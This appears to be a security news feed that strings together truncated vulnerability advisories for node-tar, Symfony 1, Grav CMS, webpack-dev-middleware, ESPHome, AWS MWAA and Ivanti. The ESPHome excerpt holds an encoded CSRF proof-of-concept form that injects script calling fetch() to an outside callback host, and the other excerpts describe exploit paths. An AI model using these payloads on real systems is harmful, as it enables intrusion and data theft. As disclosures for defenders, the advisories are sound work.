#web

By Waqas Using a Wordpress website? Lookout for Sign1 malware! This is a post from HackRead.com Read the original post: Thousands of WordPress Websites Hacked with New Sign1 Malware

## Description: During some analysis today on npm's `node-tar` package I came across the folder creation process, Basicly if you provide node-tar with a path like this `./a/b/c/foo.txt` it would create every folder and sub-folder here a, b and c until it reaches the last folder to create `foo.txt`, In-this case I noticed that there's no validation at all on the amount of folders being created, that said we're actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside ## Steps To Reproduce: You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video ## Proof Of Concept: Here's a [video](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/3i7uojw8s52psar6pg8zkdo4h9io?response-content-disposition=attachment%3B%20filename%3D%22tar-dos-poc....

### Summary Symfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project. ### Details This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example: ```php public function executeIndex(sfWebRequest $request) { $a = unserialize($request->getParameter('user')); } ``` We will make the assumption this is the case in the rest of this explanation. Symfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method: ```php public function unserialize($serialized) { $this->__unserialize(unserialize($serialized)); } ``` Which make an array access on the ...

### Summary Grav CMS is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox. ### Details The Grav CMS implements a custom sandbox to protect the powerful Twig methods "registerUndefinedFunctionCallback()" and "registerUndefinedFilterCallback()", in order to avoid SSTI attacks by denying the calling of dangerous PHP functions into the Twig template directives (such as: "exec()", "passthru()", "system()", etc.). The current defenses are based on a blacklist of prohibited functions (PHP, Twig), checked through the "isDangerousFunction()" method called in the file "system/src/Grav/Common/Twig.php": ```php ... $this->twig = new TwigEnvironment($loader_chain, $params); $this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safe_functions'); if (is_array...

### Summary _A file upload path traversal vulnerability has been identified in the application, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques._ ### Installation Configuration - Grav CMS 1.10.44 - Apache web server - php-8.2 ### Details _**Vulnerable code location:**_ grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_ public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string { // Add the defaults to the settings. $settings = $this->getUploadSettings($settings); // Destination is always needed (but it can be set in defaults). $self = $settings['self'] ?? f...

Cybersecurity researchers have shared details of a now-patched security vulnerability in Amazon Web Services (AWS) Managed Workflows for Apache Airflow (MWAA) that could be potentially exploited by a malicious actor to hijack victims' sessions and achieve remote code execution on underlying instances. The vulnerability, now addressed by AWS, has been codenamed FlowFixation by Tenable.

Red Hat Insights is a SaaS (Software as a Service) offering from Red Hat that centralizes different tools and technologies to help analyze and remediate systems, platforms, and applications. It helps you keep your infrastructure compliant with best practices and security profiles, while also offering cost management and cluster update risks analysis.Insights is available for Red Hat Enterprise Linux, Red Hat Ansible Automation Platform, and Red Hat OpenShift at no additional cost with the associated subscriptions.Insights for OpenShiftRed Hat Insights is present by default in each OpenShift cl

Ivanti has issued patches for two new vulnerabilities with a high CVSS score. Neither is known to have been explioted in the wild. Yet.

### Summary _The **webpack-dev-middleware** middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine._ ### Details The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory _memfs_ filesystem. If _writeToDisk_ configuration option is set to **true**, the physical filesystem is used: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21](https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21) The _**getFilenameFromUrl**_ method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the **unsecaped** path suffix is appended to the _outputPath_: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad...

### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="&lt;script&gt;&#13;&#10;fetch&#40;&apos;https&#58;&#47;&#47;907zv9yp9u3rjerkiakydpvcr3xulk99&#46;oastify&#46;com&#63;x" value="y&apos;&#44;&#32;&#123;&#13;&#10;method&...